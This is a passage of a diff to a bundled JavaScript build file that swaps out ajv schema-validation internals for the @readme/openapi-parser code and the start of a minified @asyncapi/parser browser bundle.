if (!pathItemElement) { return; - case "null": - gen.elseIf((0, codegen_1._)`${data} === "" || ${data} === 0 || ${data} === false`); - gen.assign(coerced, null); + } + if (opItem === "servers" && Array.isArray(pathItemElement)) { + pathItemElement.forEach((server) => { + fixServers(server, filePath); + }); return; - case "array": - gen.elseIf((0, codegen_1._)`${dataType} === "string" || ${dataType} === "number" - || ${dataType} === "boolean" || ${data} === null`).assign(coerced, (0, codegen_1._)`[${data}]`); - } - } - } - function assignParentData({ gen, parentData, parentDataProperty }, expr) { - gen.if((0, codegen_1._)`${parentData} !== undefined`, () => gen.assign((0, codegen_1._)`${parentData}[${parentDataProperty}]`, expr)); - } - function checkDataType(dataType, data, strictNums, correct = DataType.Correct) { - const EQ = correct === DataType.Correct ? codegen_1.operators.EQ : codegen_1.operators.NEQ; - let cond2; - switch (dataType) { - case "null": - return (0, codegen_1._)`${data} ${EQ} null`; - case "array": - cond2 = (0, codegen_1._)`Array.isArray(${data})`; - break; - case "object": - cond2 = (0, codegen_1._)`${data} && typeof ${data} == "object" && !Array.isArray(${data})`; - break; - case "integer": - cond2 = numCond((0, codegen_1._)`!(${data} % 1) && !isNaN(${data})`); - break; - case "number": - cond2 = numCond(); - break; - default: - return (0, codegen_1._)`typeof ${data} ${EQ} ${dataType}`; - } - return correct === DataType.Correct ? cond2 : (0, codegen_1.not)(cond2); - function numCond(_cond = codegen_1.nil) { - return (0, codegen_1.and)((0, codegen_1._)`typeof ${data} == "number"`, _cond, strictNums ? (0, codegen_1._)`isFinite(${data})` : codegen_1.nil); - } - } - exports28.checkDataType = checkDataType; - function checkDataTypes(dataTypes, data, strictNums, correct) { - if (dataTypes.length === 1) { - return checkDataType(dataTypes[0], data, strictNums, correct); - } - let cond2; - const types3 = (0, util_1.toHash)(dataTypes); - if (types3.array && types3.object) { - const notObj = (0, codegen_1._)`typeof ${data} != "object"`; - cond2 = types3.null ? notObj : (0, codegen_1._)`!${data} || ${notObj}`; - delete types3.null; - delete types3.array; - delete types3.object; - } else { - cond2 = codegen_1.nil; - } - if (types3.number) - delete types3.integer; - for (const t8 in types3) - cond2 = (0, codegen_1.and)(cond2, checkDataType(t8, data, strictNums, correct)); - return cond2; - } - exports28.checkDataTypes = checkDataTypes; - var typeError = { - message: ({ schema: schema8 }) => `must be ${schema8}`, - params: ({ schema: schema8, schemaValue }) => typeof schema8 == "string" ? (0, codegen_1._)`{type: ${schema8}}` : (0, codegen_1._)`{type: ${schemaValue}}` - }; - function reportTypeError(it2) { - const cxt = getTypeErrorContext(it2); - (0, errors_1.reportError)(cxt, typeError); - } - exports28.reportTypeError = reportTypeError; - function getTypeErrorContext(it2) { - const { gen, data, schema: schema8 } = it2; - const schemaCode = (0, util_1.schemaRefOrVal)(it2, schema8, "type"); - return { - gen, - keyword: "type", - data, - schema: schema8.type, - schemaCode, - schemaValue: schemaCode, - parentSchema: schema8, - params: {}, - it: it2 - }; + } + if (supportedHTTPMethods.includes(opItem) && typeof pathItemElement === "object" && "servers" in pathItemElement && Array.isArray(pathItemElement.servers)) { + pathItemElement.servers.forEach((server) => { + fixServers(server, filePath); + }); + } + }); + }); } + }); +} +function repairSchema(schema8, filePath) { + if (isOpenAPI(schema8)) { + fixOasRelativeServers(schema8, filePath); } -}); - -// node_modules/ajv/dist/compile/validate/defaults.js -var require_defaults = __commonJS({ - "node_modules/ajv/dist/compile/validate/defaults.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.assignDefaults = void 0; - var codegen_1 = require_codegen(); - var util_1 = require_util(); - function assignDefaults(it2, ty) { - const { properties, items } = it2.schema; - if (ty === "object" && properties) { - for (const key in properties) { - assignDefault(it2, key, properties[key].default); - } - } else if (ty === "array" && Array.isArray(items)) { - items.forEach((sch, i7) => assignDefault(it2, i7, sch.default)); - } - } - exports28.assignDefaults = assignDefaults; - function assignDefault(it2, prop, defaultValue) { - const { gen, compositeRule, data, opts } = it2; - if (defaultValue === void 0) - return; - const childData = (0, codegen_1._)`${data}${(0, codegen_1.getProperty)(prop)}`; - if (compositeRule) { - (0, util_1.checkStrictMode)(it2, `default is ignored for: ${childData}`); - return; - } - let condition = (0, codegen_1._)`${childData} === undefined`; - if (opts.useDefaults === "empty") { - condition = (0, codegen_1._)`${condition} || ${childData} === null || ${childData} === ""`; +} +function normalizeArguments(api) { + return { + path: typeof api === "string" ? api : "", + schema: typeof api === "object" ? api : void 0 + }; +} +function convertOptionsForParser(options) { + const parserOptions = getJsonSchemaRefParserDefaultOptions(); + return { + ...parserOptions, + dereference: { + ...parserOptions.dereference, + circular: options?.dereference && "circular" in options.dereference ? options.dereference.circular : parserOptions.dereference.circular, + onCircular: options?.dereference?.onCircular || parserOptions.dereference.onCircular, + onDereference: options?.dereference?.onDereference || parserOptions.dereference.onDereference, + // OpenAPI 3.1 allows for `summary` and `description` properties at the same level as a `$ref` + // pointer to be preserved when that `$ref` pointer is dereferenced. The default behavior of + // `json-schema-ref-parser` is to discard these properties but this option allows us to + // override that behavior. + preservedProperties: ["summary", "description"] + }, + resolve: { + ...parserOptions.resolve, + external: options?.resolve && "external" in options.resolve ? options.resolve.external : parserOptions.resolve.external, + file: options?.resolve && "file" in options.resolve ? options.resolve.file : parserOptions.resolve.file, + http: { + ...typeof parserOptions.resolve.http === "object" ? parserOptions.resolve.http : {}, + timeout: options?.resolve?.http && "timeout" in options.resolve.http ? options.resolve.http.timeout : 5e3 } - gen.if(condition, (0, codegen_1._)`${childData} = ${(0, codegen_1.stringify)(defaultValue)}`); - } - } -}); - -// node_modules/ajv/dist/vocabularies/code.js -var require_code2 = __commonJS({ - "node_modules/ajv/dist/vocabularies/code.js"(exports28) { - "use strict"; + }, + timeoutMs: options?.timeoutMs + }; +} +async function parse2(api, options) { + const args = normalizeArguments(api); + const parserOptions = convertOptionsForParser(options); + const parser2 = new $RefParser(); + const schema8 = await parser2.parse(args.path, args.schema, parserOptions); + repairSchema(schema8, args.path); + return schema8; +} +async function dereference2(api, options) { + const args = normalizeArguments(api); + const parserOptions = convertOptionsForParser(options); + const parser2 = new $RefParser(); + await parser2.dereference(args.path, args.schema, parserOptions); + repairSchema(parser2.schema, args.path); + return parser2.schema; +} +var import_better_ajv_errors, import__, import_ajv_draft_04, supportedHTTPMethods; +var init_dist = __esm({ + "node_modules/@readme/openapi-parser/dist/index.js"() { init_dirname(); init_buffer2(); init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.validateUnion = exports28.validateArray = exports28.usePattern = exports28.callValidateCode = exports28.schemaProperties = exports28.allSchemaProperties = exports28.noPropertyInData = exports28.propertyInData = exports28.isOwnProperty = exports28.hasPropFunc = exports28.reportMissingProp = exports28.checkMissingProp = exports28.checkReportMissingProp = void 0; - var codegen_1 = require_codegen(); - var util_1 = require_util(); - var names_1 = require_names(); - var util_2 = require_util(); - function checkReportMissingProp(cxt, prop) { - const { gen, data, it: it2 } = cxt; - gen.if(noPropertyInData(gen, data, prop, it2.opts.ownProperties), () => { - cxt.setParams({ missingProperty: (0, codegen_1._)`${prop}` }, true); - cxt.error(); - }); - } - exports28.checkReportMissingProp = checkReportMissingProp; - function checkMissingProp({ gen, data, it: { opts } }, properties, missing) { - return (0, codegen_1.or)(...properties.map((prop) => (0, codegen_1.and)(noPropertyInData(gen, data, prop, opts.ownProperties), (0, codegen_1._)`${missing} = ${prop}`))); - } - exports28.checkMissingProp = checkMissingProp; - function reportMissingProp(cxt, missing) { - cxt.setParams({ missingProperty: missing }, true); - cxt.error(); - } - exports28.reportMissingProp = reportMissingProp; - function hasPropFunc(gen) { - return gen.scopeValue("func", { - // eslint-disable-next-line @typescript-eslint/unbound-method - ref: Object.prototype.hasOwnProperty, - code: (0, codegen_1._)`Object.prototype.hasOwnProperty` - }); - } - exports28.hasPropFunc = hasPropFunc; - function isOwnProperty(gen, data, property2) { - return (0, codegen_1._)`${hasPropFunc(gen)}.call(${data}, ${property2})`; - } - exports28.isOwnProperty = isOwnProperty; - function propertyInData(gen, data, property2, ownProperties) { - const cond2 = (0, codegen_1._)`${data}${(0, codegen_1.getProperty)(property2)} !== undefined`; - return ownProperties ? (0, codegen_1._)`${cond2} && ${isOwnProperty(gen, data, property2)}` : cond2; - } - exports28.propertyInData = propertyInData; - function noPropertyInData(gen, data, property2, ownProperties) { - const cond2 = (0, codegen_1._)`${data}${(0, codegen_1.getProperty)(property2)} === undefined`; - return ownProperties ? (0, codegen_1.or)(cond2, (0, codegen_1.not)(isOwnProperty(gen, data, property2))) : cond2; - } - exports28.noPropertyInData = noPropertyInData; - function allSchemaProperties(schemaMap) { - return schemaMap ? Object.keys(schemaMap).filter((p7) => p7 !== "__proto__") : []; - } - exports28.allSchemaProperties = allSchemaProperties; - function schemaProperties(it2, schemaMap) { - return allSchemaProperties(schemaMap).filter((p7) => !(0, util_1.alwaysValidSchema)(it2, schemaMap[p7])); - } - exports28.schemaProperties = schemaProperties; - function callValidateCode({ schemaCode, data, it: { gen, topSchemaRef, schemaPath, errorPath }, it: it2 }, func, context2, passSchema) { - const dataAndSchema = passSchema ? (0, codegen_1._)`${schemaCode}, ${data}, ${topSchemaRef}${schemaPath}` : data; - const valCxt = [ - [names_1.default.instancePath, (0, codegen_1.strConcat)(names_1.default.instancePath, errorPath)], - [names_1.default.parentData, it2.parentData], - [names_1.default.parentDataProperty, it2.parentDataProperty], - [names_1.default.rootData, names_1.default.rootData] - ]; - if (it2.opts.dynamicRef) - valCxt.push([names_1.default.dynamicAnchors, names_1.default.dynamicAnchors]); - const args = (0, codegen_1._)`${dataAndSchema}, ${gen.object(...valCxt)}`; - return context2 !== codegen_1.nil ? (0, codegen_1._)`${func}.call(${context2}, ${args})` : (0, codegen_1._)`${func}(${args})`; - } - exports28.callValidateCode = callValidateCode; - var newRegExp = (0, codegen_1._)`new RegExp`; - function usePattern({ gen, it: { opts } }, pattern5) { - const u7 = opts.unicodeRegExp ? "u" : ""; - const { regExp } = opts.code; - const rx = regExp(pattern5, u7); - return gen.scopeValue("pattern", { - key: rx.toString(), - ref: rx, - code: (0, codegen_1._)`${regExp.code === "new RegExp" ? newRegExp : (0, util_2.useFunc)(gen, regExp)}(${pattern5}, ${u7})` - }); - } - exports28.usePattern = usePattern; - function validateArray(cxt) { - const { gen, data, keyword, it: it2 } = cxt; - const valid = gen.name("valid"); - if (it2.allErrors) { - const validArr = gen.let("valid", true); - validateItems(() => gen.assign(validArr, false)); - return validArr; - } - gen.var(valid, true); - validateItems(() => gen.break()); - return valid; - function validateItems(notValid) { - const len = gen.const("len", (0, codegen_1._)`${data}.length`); - gen.forRange("i", 0, len, (i7) => { - cxt.subschema({ - keyword, - dataProp: i7, - dataPropType: util_1.Type.Num - }, valid); - gen.if((0, codegen_1.not)(valid), notValid); - }); - } - } - exports28.validateArray = validateArray; - function validateUnion(cxt) { - const { gen, schema: schema8, keyword, it: it2 } = cxt; - if (!Array.isArray(schema8)) - throw new Error("ajv implementation error"); - const alwaysValid = schema8.some((sch) => (0, util_1.alwaysValidSchema)(it2, sch)); - if (alwaysValid && !it2.opts.unevaluated) - return; - const valid = gen.let("valid", false); - const schValid = gen.name("_valid"); - gen.block(() => schema8.forEach((_sch, i7) => { - const schCxt = cxt.subschema({ - keyword, - schemaProp: i7, - compositeRule: true - }, schValid); - gen.assign(valid, (0, codegen_1._)`${valid} || ${schValid}`); - const merged = cxt.mergeValidEvaluated(schCxt, schValid); - if (!merged) - gen.if((0, codegen_1.not)(valid)); - })); - cxt.result(valid, () => cxt.reset(), () => cxt.error(true)); - } - exports28.validateUnion = validateUnion; + init_json_schema_ref_parser(); + init_json_schema_ref_parser(); + import_better_ajv_errors = __toESM(require_lib3(), 1); + import__ = __toESM(require__(), 1); + import_ajv_draft_04 = __toESM(require_dist(), 1); + supportedHTTPMethods = ["get", "post", "put", "delete", "patch", "options", "head", "trace"]; } }); -// node_modules/ajv/dist/compile/validate/keyword.js -var require_keyword2 = __commonJS({ - "node_modules/ajv/dist/compile/validate/keyword.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.validateKeywordUsage = exports28.validSchemaType = exports28.funcKeywordCode = exports28.macroKeywordCode = void 0; - var codegen_1 = require_codegen(); - var names_1 = require_names(); - var code_1 = require_code2(); - var errors_1 = require_errors(); - function macroKeywordCode(cxt, def) { - const { gen, keyword, schema: schema8, parentSchema, it: it2 } = cxt; - const macroSchema = def.macro.call(it2.self, schema8, parentSchema, it2); - const schemaRef = useKeyword(gen, keyword, macroSchema); - if (it2.opts.validateSchema !== false) - it2.self.validateSchema(macroSchema, true); - const valid = gen.name("valid"); - cxt.subschema({ - schema: macroSchema, - schemaPath: codegen_1.nil, - errSchemaPath: `${it2.errSchemaPath}/${keyword}`, - topSchemaRef: schemaRef, - compositeRule: true - }, valid); - cxt.pass(valid, () => cxt.error(true)); - } - exports28.macroKeywordCode = macroKeywordCode; - function funcKeywordCode(cxt, def) { - var _a2; - const { gen, keyword, schema: schema8, parentSchema, $data, it: it2 } = cxt; - checkAsyncKeyword(it2, def); - const validate15 = !$data && def.compile ? def.compile.call(it2.self, schema8, parentSchema, it2) : def.validate; - const validateRef = useKeyword(gen, keyword, validate15); - const valid = gen.let("valid"); - cxt.block$data(valid, validateKeyword); - cxt.ok((_a2 = def.valid) !== null && _a2 !== void 0 ? _a2 : valid); - function validateKeyword() { - if (def.errors === false) { - assignValid(); - if (def.modifying) - modifyData(cxt); - reportErrs(() => cxt.error()); - } else { - const ruleErrs = def.async ? validateAsync() : validateSync(); - if (def.modifying) - modifyData(cxt); - reportErrs(() => addErrs(cxt, ruleErrs)); - } - } - function validateAsync() { - const ruleErrs = gen.let("ruleErrs", null); - gen.try(() => assignValid((0, codegen_1._)`await `), (e10) => gen.assign(valid, false).if((0, codegen_1._)`${e10} instanceof ${it2.ValidationError}`, () => gen.assign(ruleErrs, (0, codegen_1._)`${e10}.errors`), () => gen.throw(e10))); - return ruleErrs; - } - function validateSync() { - const validateErrs = (0, codegen_1._)`${validateRef}.errors`; - gen.assign(validateErrs, null); - assignValid(codegen_1.nil); - return validateErrs; - } - function assignValid(_await = def.async ? (0, codegen_1._)`await ` : codegen_1.nil) { - const passCxt = it2.opts.passContext ? names_1.default.this : names_1.default.self; - const passSchema = !("compile" in def && !$data || def.schema === false); - gen.assign(valid, (0, codegen_1._)`${_await}${(0, code_1.callValidateCode)(cxt, validateRef, passCxt, passSchema)}`, def.modifying); - } - function reportErrs(errors) { - var _a3; - gen.if((0, codegen_1.not)((_a3 = def.valid) !== null && _a3 !== void 0 ? _a3 : valid), errors); - } - } - exports28.funcKeywordCode = funcKeywordCode; - function modifyData(cxt) { - const { gen, data, it: it2 } = cxt; - gen.if(it2.parentData, () => gen.assign(data, (0, codegen_1._)`${it2.parentData}[${it2.parentDataProperty}]`)); - } - function addErrs(cxt, errs) { - const { gen } = cxt; - gen.if((0, codegen_1._)`Array.isArray(${errs})`, () => { - gen.assign(names_1.default.vErrors, (0, codegen_1._)`${names_1.default.vErrors} === null ? ${errs} : ${names_1.default.vErrors}.concat(${errs})`).assign(names_1.default.errors, (0, codegen_1._)`${names_1.default.vErrors}.length`); - (0, errors_1.extendErrors)(cxt); - }, () => cxt.error()); - } - function checkAsyncKeyword({ schemaEnv }, def) { - if (def.async && !schemaEnv.$async) - throw new Error("async keyword in sync schema"); - } - function useKeyword(gen, keyword, result2) { - if (result2 === void 0) - throw new Error(`keyword "${keyword}" failed to compile`); - return gen.scopeValue("keyword", typeof result2 == "function" ? { ref: result2 } : { ref: result2, code: (0, codegen_1.stringify)(result2) }); - } - function validSchemaType(schema8, schemaType, allowUndefined = false) { - return !schemaType.length || schemaType.some((st2) => st2 === "array" ? Array.isArray(schema8) : st2 === "object" ? schema8 && typeof schema8 == "object" && !Array.isArray(schema8) : typeof schema8 == st2 || allowUndefined && typeof schema8 == "undefined"); - } - exports28.validSchemaType = validSchemaType; - function validateKeywordUsage({ schema: schema8, opts, self: self2, errSchemaPath }, def, keyword) { - if (Array.isArray(def.keyword) ? !def.keyword.includes(keyword) : def.keyword !== keyword) { - throw new Error("ajv implementation error"); - } - const deps = def.dependencies; - if (deps === null || deps === void 0 ? void 0 : deps.some((kwd) => !Object.prototype.hasOwnProperty.call(schema8, kwd))) { - throw new Error(`parent schema must have dependencies of ${keyword}: ${deps.join(",")}`); - } - if (def.validateSchema) { - const valid = def.validateSchema(schema8[keyword]); - if (!valid) { - const msg = `keyword "${keyword}" value is invalid at path "${errSchemaPath}": ` + self2.errorsText(def.validateSchema.errors); - if (opts.validateSchema === "log") - self2.logger.error(msg); - else - throw new Error(msg); - } - } - } - exports28.validateKeywordUsage = validateKeywordUsage; - } +// node_modules/@asyncapi/parser/browser/index.js +var browser_exports = {}; +__export(browser_exports, { + Parser: () => Parser2, + default: () => browser_default }); - -// node_modules/ajv/dist/compile/validate/subschema.js -var require_subschema = __commonJS({ - "node_modules/ajv/dist/compile/validate/subschema.js"(exports28) { - "use strict"; +var module2, exports4, AsyncAPIParserExports, Parser2, browser_default; +var init_browser = __esm({ + "node_modules/@asyncapi/parser/browser/index.js"() { init_dirname(); init_buffer2(); init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.extendSubschemaMode = exports28.extendSubschemaData = exports28.getSubschema = void 0; - var codegen_1 = require_codegen(); - var util_1 = require_util(); - function getSubschema(it2, { keyword, schemaProp, schema: schema8, schemaPath, errSchemaPath, topSchemaRef }) { - if (keyword !== void 0 && schema8 !== void 0) { - throw new Error('both "keyword" and "schema" passed, only one allowed'); - } - if (keyword !== void 0) { - const sch = it2.schema[keyword]; - return schemaProp === void 0 ? { - schema: sch, - schemaPath: (0, codegen_1._)`${it2.schemaPath}${(0, codegen_1.getProperty)(keyword)}`, - errSchemaPath: `${it2.errSchemaPath}/${keyword}` - } : { - schema: sch[schemaProp], - schemaPath: (0, codegen_1._)`${it2.schemaPath}${(0, codegen_1.getProperty)(keyword)}${(0, codegen_1.getProperty)(schemaProp)}`, - errSchemaPath: `${it2.errSchemaPath}/${keyword}/${(0, util_1.escapeFragment)(schemaProp)}` - }; - } - if (schema8 !== void 0) { - if (schemaPath === void 0 || errSchemaPath === void 0 || topSchemaRef === void 0) { - throw new Error('"schemaPath", "errSchemaPath" and "topSchemaRef" are required with "schema"'); - } - return { - schema: schema8, - schemaPath, - topSchemaRef, - errSchemaPath + module2 = { exports: {} }; + exports4 = module2.exports; + !function(e10, t8) { + "object" == typeof exports4 && "object" == typeof module2 ? module2.exports = t8() : "function" == typeof define && define.amd ? define([], t8) : "object" == typeof exports4 ? exports4.AsyncAPIParser = t8() : e10.AsyncAPIParser = t8(); + }("undefined" != typeof self ? self : void 0, () => (() => { + var e10 = { 37233: (e11, t9, i8) => { + e11.exports = { schemas: { "2.0.0": i8(4023), "2.1.0": i8(88520), "2.2.0": i8(83105), "2.3.0": i8(11306), "2.4.0": i8(64939), "2.5.0": i8(55708), "2.6.0": i8(11669), "3.0.0": i8(64292), "3.1.0": i8(28243) }, schemasWithoutId: { "2.0.0": i8(69486), "2.1.0": i8(61401), "2.2.0": i8(30192), "2.3.0": i8(85323), "2.4.0": i8(45002), "2.5.0": i8(85765), "2.6.0": i8(94220), "3.0.0": i8(95309), "3.1.0": i8(88178) } }; + }, 64868: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(8839); + t9.resolveFile = function(e12) { + return new Promise((t10, i9) => { + const r8 = e12.href(); + n8.readFile(r8, "utf8", (e13, n9) => { + e13 ? i9(e13) : t10(n9); + }); + }); }; - } - throw new Error('either "keyword" or "schema" must be passed'); - } - exports28.getSubschema = getSubschema; - function extendSubschemaData(subschema, it2, { dataProp, dataPropType: dpType, data, dataTypes, propertyName }) { - if (data !== void 0 && dataProp !== void 0) { - throw new Error('both "data" and "dataProp" passed, only one allowed'); - } - const { gen } = it2; - if (dataProp !== void 0) { - const { errorPath, dataPathArr, opts } = it2; - const nextData = gen.let("data", (0, codegen_1._)`${it2.data}${(0, codegen_1.getProperty)(dataProp)}`, true); - dataContextProps(nextData); - subschema.errorPath = (0, codegen_1.str)`${errorPath}${(0, util_1.getErrorPath)(dataProp, dpType, opts.jsPropertySyntax)}`; - subschema.parentDataProperty = (0, codegen_1._)`${dataProp}`; - subschema.dataPathArr = [...dataPathArr, subschema.parentDataProperty]; - } - if (data !== void 0) { - const nextData = data instanceof codegen_1.Name ? data : gen.let("data", data, true); - dataContextProps(nextData); - if (propertyName !== void 0) - subschema.propertyName = propertyName; - } - if (dataTypes) - subschema.dataTypes = dataTypes; - function dataContextProps(_nextData) { - subschema.data = _nextData; - subschema.dataLevel = it2.dataLevel + 1; - subschema.dataTypes = []; - it2.definedProperties = /* @__PURE__ */ new Set(); - subschema.parentData = it2.data; - subschema.dataNames = [...it2.dataNames, _nextData]; - } - } - exports28.extendSubschemaData = extendSubschemaData; - function extendSubschemaMode(subschema, { jtdDiscriminator, jtdMetadata, compositeRule, createErrors, allErrors }) { - if (compositeRule !== void 0) - subschema.compositeRule = compositeRule; - if (createErrors !== void 0) - subschema.createErrors = createErrors; - if (allErrors !== void 0) - subschema.allErrors = allErrors; - subschema.jtdDiscriminator = jtdDiscriminator; - subschema.jtdMetadata = jtdMetadata; - } - exports28.extendSubschemaMode = extendSubschemaMode; - } -}); - -// node_modules/fast-deep-equal/index.js -var require_fast_deep_equal = __commonJS({ - "node_modules/fast-deep-equal/index.js"(exports28, module5) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - module5.exports = function equal2(a7, b8) { - if (a7 === b8) - return true; - if (a7 && b8 && typeof a7 == "object" && typeof b8 == "object") { - if (a7.constructor !== b8.constructor) - return false; - var length, i7, keys2; - if (Array.isArray(a7)) { - length = a7.length; - if (length != b8.length) - return false; - for (i7 = length; i7-- !== 0; ) - if (!equal2(a7[i7], b8[i7])) - return false; - return true; - } - if (a7.constructor === RegExp) - return a7.source === b8.source && a7.flags === b8.flags; - if (a7.valueOf !== Object.prototype.valueOf) - return a7.valueOf() === b8.valueOf(); - if (a7.toString !== Object.prototype.toString) - return a7.toString() === b8.toString(); - keys2 = Object.keys(a7); - length = keys2.length; - if (length !== Object.keys(b8).length) - return false; - for (i7 = length; i7-- !== 0; ) - if (!Object.prototype.hasOwnProperty.call(b8, keys2[i7])) - return false; - for (i7 = length; i7-- !== 0; ) { - var key = keys2[i7]; - if (!equal2(a7[key], b8[key])) - return false; + }, 71602: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(55478), r8 = i8(98203); + class o7 extends Error { + constructor() { + super(...arguments), this.name = "OpenError"; + } } - return true; - } - return a7 !== a7 && b8 !== b8; - }; - } -}); - -// node_modules/json-schema-traverse/index.js -var require_json_schema_traverse = __commonJS({ - "node_modules/json-schema-traverse/index.js"(exports28, module5) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - var traverse4 = module5.exports = function(schema8, opts, cb) { - if (typeof opts == "function") { - cb = opts; - opts = {}; - } - cb = opts.cb || cb; - var pre = typeof cb == "function" ? cb : cb.pre || function() { - }; - var post = cb.post || function() { - }; - _traverse(opts, pre, post, schema8, "", schema8); - }; - traverse4.keywords = { - additionalItems: true, - items: true, - contains: true, - additionalProperties: true, - propertyNames: true, - not: true, - if: true, - then: true, - else: true - }; - traverse4.arrayKeywords = { - items: true, - allOf: true, - anyOf: true, - oneOf: true - }; - traverse4.propsKeywords = { - $defs: true, - definitions: true, - properties: true, - patternProperties: true, - dependencies: true - }; - traverse4.skipKeywords = { - default: true, - enum: true, - const: true, - required: true, - maximum: true, - minimum: true, - exclusiveMaximum: true, - exclusiveMinimum: true, - multipleOf: true, - maxLength: true, - minLength: true, - pattern: true, - format: true, - maxItems: true, - minItems: true, - uniqueItems: true, - maxProperties: true, - minProperties: true - }; - function _traverse(opts, pre, post, schema8, jsonPtr, rootSchema, parentJsonPtr, parentKeyword, parentSchema, keyIndex) { - if (schema8 && typeof schema8 == "object" && !Array.isArray(schema8)) { - pre(schema8, jsonPtr, rootSchema, parentJsonPtr, parentKeyword, parentSchema, keyIndex); - for (var key in schema8) { - var sch = schema8[key]; - if (Array.isArray(sch)) { - if (key in traverse4.arrayKeywords) { - for (var i7 = 0; i7 < sch.length; i7++) - _traverse(opts, pre, post, sch[i7], jsonPtr + "/" + key + "/" + i7, rootSchema, jsonPtr, key, schema8, i7); - } - } else if (key in traverse4.propsKeywords) { - if (sch && typeof sch == "object") { - for (var prop in sch) - _traverse(opts, pre, post, sch[prop], jsonPtr + "/" + key + "/" + escapeJsonPtr(prop), rootSchema, jsonPtr, key, schema8, prop); - } - } else if (key in traverse4.keywords || opts.allKeys && !(key in traverse4.skipKeywords)) { - _traverse(opts, pre, post, sch, jsonPtr + "/" + key, rootSchema, jsonPtr, key, schema8); + t9.OpenError = o7; + class s7 extends Error { + constructor() { + super(...arguments), this.name = "ReadError"; } } - post(schema8, jsonPtr, rootSchema, parentJsonPtr, parentKeyword, parentSchema, keyIndex); - } - } - function escapeJsonPtr(str2) { - return str2.replace(/~/g, "~0").replace(/\//g, "~1"); - } - } -}); - -// node_modules/ajv/dist/compile/resolve.js -var require_resolve = __commonJS({ - "node_modules/ajv/dist/compile/resolve.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.getSchemaRefs = exports28.resolveUrl = exports28.normalizeId = exports28._getFullPath = exports28.getFullPath = exports28.inlineRef = void 0; - var util_1 = require_util(); - var equal2 = require_fast_deep_equal(); - var traverse4 = require_json_schema_traverse(); - var SIMPLE_INLINED = /* @__PURE__ */ new Set([ - "type", - "format", - "pattern", - "maxLength", - "minLength", - "maxProperties", - "minProperties", - "maxItems", - "minItems", - "maximum", - "minimum", - "uniqueItems", - "multipleOf", - "required", - "enum", - "const" - ]); - function inlineRef(schema8, limit = true) { - if (typeof schema8 == "boolean") - return true; - if (limit === true) - return !hasRef(schema8); - if (!limit) - return false; - return countKeys(schema8) <= limit; - } - exports28.inlineRef = inlineRef; - var REF_KEYWORDS = /* @__PURE__ */ new Set([ - "$ref", - "$recursiveRef", - "$recursiveAnchor", - "$dynamicRef", - "$dynamicAnchor" - ]); - function hasRef(schema8) { - for (const key in schema8) { - if (REF_KEYWORDS.has(key)) - return true; - const sch = schema8[key]; - if (Array.isArray(sch) && sch.some(hasRef)) - return true; - if (typeof sch == "object" && hasRef(sch)) - return true; - } - return false; - } - function countKeys(schema8) { - let count2 = 0; - for (const key in schema8) { - if (key === "$ref") - return Infinity; - count2++; - if (SIMPLE_INLINED.has(key)) - continue; - if (typeof schema8[key] == "object") { - (0, util_1.eachItem)(schema8[key], (sch) => count2 += countKeys(sch)); + function a7(e12, t10 = {}) { + return n8.__awaiter(this, void 0, void 0, function* () { + const i9 = e12.href(), n9 = yield r8.default(i9, t10); + if (n9.ok) + return n9.text(); + if (404 === n9.status) + throw new o7(`Page not found: ${i9}`); + throw new s7(`${n9.status} ${n9.statusText}`); + }); } - if (count2 === Infinity) - return Infinity; - } - return count2; - } - function getFullPath(resolver, id = "", normalize2) { - if (normalize2 !== false) - id = normalizeId(id); - const p7 = resolver.parse(id); - return _getFullPath(resolver, p7); - } - exports28.getFullPath = getFullPath; - function _getFullPath(resolver, p7) { - const serialized = resolver.serialize(p7); - return serialized.split("#")[0] + "#"; - } - exports28._getFullPath = _getFullPath; - var TRAILING_SLASH_HASH = /#\/?$/; - function normalizeId(id) { - return id ? id.replace(TRAILING_SLASH_HASH, "") : ""; - } - exports28.normalizeId = normalizeId; - function resolveUrl(resolver, baseId, id) { - id = normalizeId(id); - return resolver.resolve(baseId, id); - } - exports28.resolveUrl = resolveUrl; - var ANCHOR = /^[a-z_][-a-z0-9._]*$/i; - function getSchemaRefs(schema8, baseId) { - if (typeof schema8 == "boolean") - return {}; - const { schemaId, uriResolver } = this.opts; - const schId = normalizeId(schema8[schemaId] || baseId); - const baseIds = { "": schId }; - const pathPrefix = getFullPath(uriResolver, schId, false); - const localRefs = {}; - const schemaRefs = /* @__PURE__ */ new Set(); - traverse4(schema8, { allKeys: true }, (sch, jsonPtr, _6, parentJsonPtr) => { - if (parentJsonPtr === void 0) - return; - const fullPath = pathPrefix + jsonPtr; - let innerBaseId = baseIds[parentJsonPtr]; - if (typeof sch[schemaId] == "string") - innerBaseId = addRef.call(this, sch[schemaId]); - addAnchor.call(this, sch.$anchor); - addAnchor.call(this, sch.$dynamicAnchor); - baseIds[jsonPtr] = innerBaseId; - function addRef(ref) { - const _resolve = this.opts.uriResolver.resolve; - ref = normalizeId(innerBaseId ? _resolve(innerBaseId, ref) : ref); - if (schemaRefs.has(ref)) - throw ambiguos(ref); - schemaRefs.add(ref); - let schOrRef = this.refs[ref]; - if (typeof schOrRef == "string") - schOrRef = this.refs[schOrRef]; - if (typeof schOrRef == "object") { - checkAmbiguosRef(sch, schOrRef.schema, ref); - } else if (ref !== normalizeId(fullPath)) { - if (ref[0] === "#") { - checkAmbiguosRef(sch, localRefs[ref], ref); - localRefs[ref] = sch; + t9.NetworkError = s7, t9.resolveHttp = a7, t9.createResolveHttp = function(e12 = {}) { + return (t10) => a7(t10, e12); + }; + }, 54668: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + var n8 = i8(71602); + t9.createResolveHttp = n8.createResolveHttp, t9.resolveHttp = n8.resolveHttp, t9.NetworkError = n8.NetworkError, t9.OpenError = n8.OpenError; + var r8 = i8(64868); + t9.resolveFile = r8.resolveFile; + 